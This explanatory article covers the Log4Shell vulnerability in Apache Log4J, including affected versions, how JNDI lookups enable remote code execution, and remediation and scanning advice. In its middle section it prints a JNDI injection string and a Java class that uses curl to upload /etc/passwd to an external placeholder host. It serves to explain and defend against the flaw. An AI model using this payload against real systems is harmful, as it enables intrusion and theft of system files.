Everything you need to know about Log4Shell vulnerability
To understand this vulnerability, we first need to understand its origin. Log4J is the most widely used logging framework in Java for many years. It mainly allows logging events that occur during the execution of a Java application to keep a record, storing details of errors for later correction, and so on.
Log4Shell is a vulnerability published on December 10, 2021, by Chen Zhaojun, a member of the Alibaba Cloud security team. It affects the Log4J logging library, specifically the org.apache.logging.log4j:log4j-core package in versions [2.0-beta9, 2.12.2) [2.13.0, 2.15.0).
Vulnerability report "Log4Shell" (CVE-2021-44228)
Its name alludes to the fact that it allows remote code execution (RCE), similar to a system shell.
Log4J is a widely used logging library in Java in recent years, and many application frameworks in the Java ecosystem default to using Apache Log4J. Examples include Apache Struts 2, Apache Solr, Apache Druid, as well as Spring and Spring Boot applications. See the list of affected libraries and their current statuses here.
The direct or indirect use of the library through dependencies poses a potential problem that needs to be addressed quickly. This is because the attack's complexity is very low, and the number of affected systems is quite high.
A Snyk report demonstrates that the majority of scanned applications use Log4J indirectly, for example, through libraries on which the Java application depends.
Currently, this vulnerability has a critical level with a Common Vulnerability Scoring System (CVSS) score of 10 (the maximum possible).
When using a vulnerable version of Log4J, any logged data can lead to a Remote Code Execution (RCE) attack. When using the Java Naming and Directory Interface (JNDI) API to connect, for example, to an LDAP URL to create a log, it becomes possible to return a malicious payload with code injection.
In the following example code, the user passes an argument to the checkout
function. If the argument is not resolved, an error is logged. However, if the user's input is malicious, for example, "${jndi:ldap://someurl/Evil}," the vulnerability is triggered because we know it will be logged as an error.
try {
checkout(arg);
} catch (Exception e) {
logger.error("Failed to checkout with arg " + arg)
}
If we know that the input will be logged with Log4J, it is possible to create an LDAP server that responds to the malicious endpoint, thus returning a compiled class that executes some code. An example of such a class can be seen below.
This object sends my /etc/passwd file to an external URL using the curl command.
Note that the input may be hidden, for example, in the header of an HTTP call. When the logger evaluates the string, the call to the malicious LDAP server takes place.
public class RefactoredName implements ObjectFactory {
@Override
public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("curl -F 'file=@/etc/passwđ' https://someurl/upload");
return null;
}
}
According to this Lunasec article on the issue, this impacts all versions of Java. JDK versions greater than 6u221, 7u201, 8u201, and 11.0.1 do not seem to be affected by this LDAP attack. This is because these versions have com.sun.jndi.ldap.object.trustURLCodebase set to false by default.
The exploit shown above was tested with JDK version 8u111 and worked, although the same with 8u292 did not work. There is still uncertainty about whether newer Java versions provide protection against other possible variants of the attack.
Twitter users also reported that there are other possible attack vectors for the exploit. For example, if the class returned by the LDAP URL is already in the classpath, it will still be executed in newer SDK versions, even if trustURLCodebase is set to false.
Remediating the vulnerability
The easiest way to protect oneself currently is to update the Log4J version to 2.17.0 or higher, as this behavior is disabled by default.
In earlier versions (>2.10), this behavior can be mitigated by configuring the system property log4j.formatMsgNoLookups to true by adding the following parameter: -Dlog4j2.formatMsgNoLookups=true
Alternatively, the JndiLookup class can be removed from the classpath.
Snyk's detailed guide on each known possible way to protect against the vulnerability can be found here.
Tools for scanning projects for vulnerabilities
- Snyk Open Source allows the identification of vulnerabilities in code, including Log4Shell. There is a plugin for IntelliJ IDEA that facilitates the verification process and suggests possible solutions to resolve the problem. Below is an example of its usage.
Additionally, there is the Snyk CLI for conducting checks through the terminal. A usage guide can be found here.
The Apache Foundation (the Open Source developer of Log4J) has been updating the framework frequently since the vulnerability became widely known. To view the latest versions and their changes, visit here.